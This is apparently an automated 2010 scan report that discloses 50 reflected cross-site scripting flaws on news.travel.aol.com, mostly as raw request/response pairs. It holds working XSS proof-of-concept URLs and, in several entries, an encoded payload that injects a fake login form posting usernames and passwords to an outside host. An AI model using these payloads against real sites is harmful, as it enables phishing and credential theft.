Report generated by XSS.CX at Fri Nov 19 17:36:47 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://news.travel.aol.com/2009/06/01/long-weekend-getaways-within-the-united-states/ [name of an arbitrarily supplied request parameter]

1.2. http://news.travel.aol.com/2010/10/01/flight-attendants-do-safety-video-dancing-to-lady-gaga/ [name of an arbitrarily supplied request parameter]

1.3. http://news.travel.aol.com/2010/10/04/elderly-new-york-couple-kicked-off-ship-after-fight/ [name of an arbitrarily supplied request parameter]

1.4. http://news.travel.aol.com/2010/10/15/how-safe-is-mexico/ [name of an arbitrarily supplied request parameter]

1.5. http://news.travel.aol.com/2010/10/21/plane-crash-that-killed-20-being-blamed-on-escaped-crocodile/ [name of an arbitrarily supplied request parameter]

1.6. http://news.travel.aol.com/2010/11/10/thousands-on-stranded-carnival-cruise-ship-eating-spam-provided/ [name of an arbitrarily supplied request parameter]

1.7. http://news.travel.aol.com/2010/11/11/carnival-splendor-passengers-describe-nightmare-cruise/ [name of an arbitrarily supplied request parameter]

1.8. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581 parameter]

1.9. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter]

1.10. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">

1.11. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">

1.12. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM parameter]

1.13. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter]

1.14. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM

1.15. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM

1.16. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [name of an arbitrarily supplied request parameter]

1.17. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [ncid parameter]

1.18. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/2 [name of an arbitrarily supplied request parameter]

1.19. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/3 [name of an arbitrarily supplied request parameter]

1.20. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/4 [name of an arbitrarily supplied request parameter]

1.21. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/5 [name of an arbitrarily supplied request parameter]

1.22. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/90 [name of an arbitrarily supplied request parameter]

1.23. http://news.travel.aol.com/2010/11/16/delta-passenger-scrutinized-for-tattoo/ [name of an arbitrarily supplied request parameter]

1.24. http://news.travel.aol.com/2010/11/18/10-best-colorado-ski-resorts/ [name of an arbitrarily supplied request parameter]

1.25. http://news.travel.aol.com/2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/ [name of an arbitrarily supplied request parameter]

1.26. http://news.travel.aol.com/2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/ [name of an arbitrarily supplied request parameter]

1.27. http://news.travel.aol.com/2010/11/19/american-airlines-launching-in-flight-happy-hour/ [name of an arbitrarily supplied request parameter]

1.28. http://news.travel.aol.com/2010/11/19/five-great-myrtle-beach-hotels/ [name of an arbitrarily supplied request parameter]

1.29. http://news.travel.aol.com/bloggers/anne-johnson/ [REST URL parameter 2]

1.30. http://news.travel.aol.com/bloggers/fran-golden [REST URL parameter 2]

1.31. http://news.travel.aol.com/bloggers/fran-golden/ [REST URL parameter 2]

1.32. http://news.travel.aol.com/bloggers/gerard-walen/ [REST URL parameter 2]

1.33. http://news.travel.aol.com/bloggers/libby-zay/ [REST URL parameter 2]

1.34. http://news.travel.aol.com/bloggers/liz-behler [REST URL parameter 2]

1.35. http://news.travel.aol.com/bloggers/mclean-robbins/ [REST URL parameter 2]

1.36. http://news.travel.aol.com/category/air-travel/ [REST URL parameter 2]

1.37. http://news.travel.aol.com/category/beach/ [REST URL parameter 2]

1.38. http://news.travel.aol.com/category/best-of/ [REST URL parameter 2]

1.39. http://news.travel.aol.com/category/budget/ [REST URL parameter 2]

1.40. http://news.travel.aol.com/category/cruise/ [REST URL parameter 2]

1.41. http://news.travel.aol.com/category/disney/ [REST URL parameter 2]

1.42. http://news.travel.aol.com/category/family/ [REST URL parameter 2]

1.43. http://news.travel.aol.com/category/hotel/ [REST URL parameter 2]

1.44. http://news.travel.aol.com/category/news/ [REST URL parameter 2]

1.45. http://news.travel.aol.com/category/outdoor/ [REST URL parameter 2]

1.46. http://news.travel.aol.com/category/real-life-stories/ [REST URL parameter 2]

1.47. http://news.travel.aol.com/category/romantic/ [REST URL parameter 2]

1.48. http://news.travel.aol.com/category/tips-and-tricks/ [REST URL parameter 2]

1.49. http://news.travel.aol.com/category/video/ [REST URL parameter 2]

1.50. http://news.travel.aol.com/category/weird/ [REST URL parameter 2]



1. Cross-site scripting (reflected)
There are 50 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://news.travel.aol.com/2009/06/01/long-weekend-getaways-within-the-united-states/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2009/06/01/long-weekend-getaways-within-the-united-states/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2662b"><script>alert(1)</script>32640c1390e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2009/06/01/long-weekend-getaways-within-the-united-states/?2662b"><script>alert(1)</script>32640c1390e=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:44 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:56:43 GMT; path=/
Keep-Alive: timeout=5, max=999918
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 86113

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2009/06/01/long-weekend-getaways-within-the-united-states/?2662b"><script>alert(1)</script>32640c1390e=1" />
...[SNIP]...

1.2. http://news.travel.aol.com/2010/10/01/flight-attendants-do-safety-video-dancing-to-lady-gaga/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/10/01/flight-attendants-do-safety-video-dancing-to-lady-gaga/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4661"><script>alert(1)</script>8beb626dbf1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/10/01/flight-attendants-do-safety-video-dancing-to-lady-gaga/?d4661"><script>alert(1)</script>8beb626dbf1=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:34 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:33 GMT; path=/
Keep-Alive: timeout=5, max=999925
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 88832

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/10/01/flight-attendants-do-safety-video-dancing-to-lady-gaga/?d4661"><script>alert(1)</script>8beb626dbf1=1" />
...[SNIP]...

1.3. http://news.travel.aol.com/2010/10/04/elderly-new-york-couple-kicked-off-ship-after-fight/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/10/04/elderly-new-york-couple-kicked-off-ship-after-fight/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7d6e"><script>alert(1)</script>e1801264771 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/10/04/elderly-new-york-couple-kicked-off-ship-after-fight/?d7d6e"><script>alert(1)</script>e1801264771=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:28 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:27 GMT; path=/
Keep-Alive: timeout=5, max=999998
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 96719

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/10/04/elderly-new-york-couple-kicked-off-ship-after-fight/?d7d6e"><script>alert(1)</script>e1801264771=1" />
...[SNIP]...

1.4. http://news.travel.aol.com/2010/10/15/how-safe-is-mexico/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/10/15/how-safe-is-mexico/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa826"><script>alert(1)</script>f52643b4cad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/10/15/how-safe-is-mexico/?aa826"><script>alert(1)</script>f52643b4cad=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:30 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:29 GMT; path=/
Keep-Alive: timeout=5, max=999967
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 112892

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/10/15/how-safe-is-mexico/?aa826"><script>alert(1)</script>f52643b4cad=1" />
...[SNIP]...

1.5. http://news.travel.aol.com/2010/10/21/plane-crash-that-killed-20-being-blamed-on-escaped-crocodile/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/10/21/plane-crash-that-killed-20-being-blamed-on-escaped-crocodile/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ff59"><script>alert(1)</script>e9f2bc2ff24 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/10/21/plane-crash-that-killed-20-being-blamed-on-escaped-crocodile/?7ff59"><script>alert(1)</script>e9f2bc2ff24=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:34 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:33 GMT; path=/
Keep-Alive: timeout=5, max=999996
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 90248

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/10/21/plane-crash-that-killed-20-being-blamed-on-escaped-crocodile/?7ff59"><script>alert(1)</script>e9f2bc2ff24=1" />
...[SNIP]...

1.6. http://news.travel.aol.com/2010/11/10/thousands-on-stranded-carnival-cruise-ship-eating-spam-provided/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/10/thousands-on-stranded-carnival-cruise-ship-eating-spam-provided/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f80a"><script>alert(1)</script>e81c203d512 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/10/thousands-on-stranded-carnival-cruise-ship-eating-spam-provided/?4f80a"><script>alert(1)</script>e81c203d512=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:33 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:32 GMT; path=/
Keep-Alive: timeout=5, max=999998
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 96031

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/10/thousands-on-stranded-carnival-cruise-ship-eating-spam-provided/?4f80a"><script>alert(1)</script>e81c203d512=1" />
...[SNIP]...

1.7. http://news.travel.aol.com/2010/11/11/carnival-splendor-passengers-describe-nightmare-cruise/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/11/carnival-splendor-passengers-describe-nightmare-cruise/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7300"><script>alert(1)</script>05125c8499d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/11/carnival-splendor-passengers-describe-nightmare-cruise/?e7300"><script>alert(1)</script>05125c8499d=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:41 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:40 GMT; path=/
Keep-Alive: timeout=5, max=999886
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 97618

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/11/carnival-splendor-passengers-describe-nightmare-cruise/?e7300"><script>alert(1)</script>05125c8499d=1" />
...[SNIP]...

1.8. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The value of the 34581 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee509"><script>alert(1)</script>9b311a5aa64 was submitted in the 34581 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581ee509"><script>alert(1)</script>9b311a5aa64 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:10 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:09 GMT; path=/
Keep-Alive: timeout=5, max=999949
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 96754

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581ee509"><script>alert(1)</script>9b311a5aa64" />
...[SNIP]...

1.9. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The value of the 34581"><script>alert(1)</script>%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E request parameter is copied into the HTML document as plain text between tags. The payload d609a<script>alert(1)</script>7fda5379807 was submitted in the 34581"><script>alert(1)</script>%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3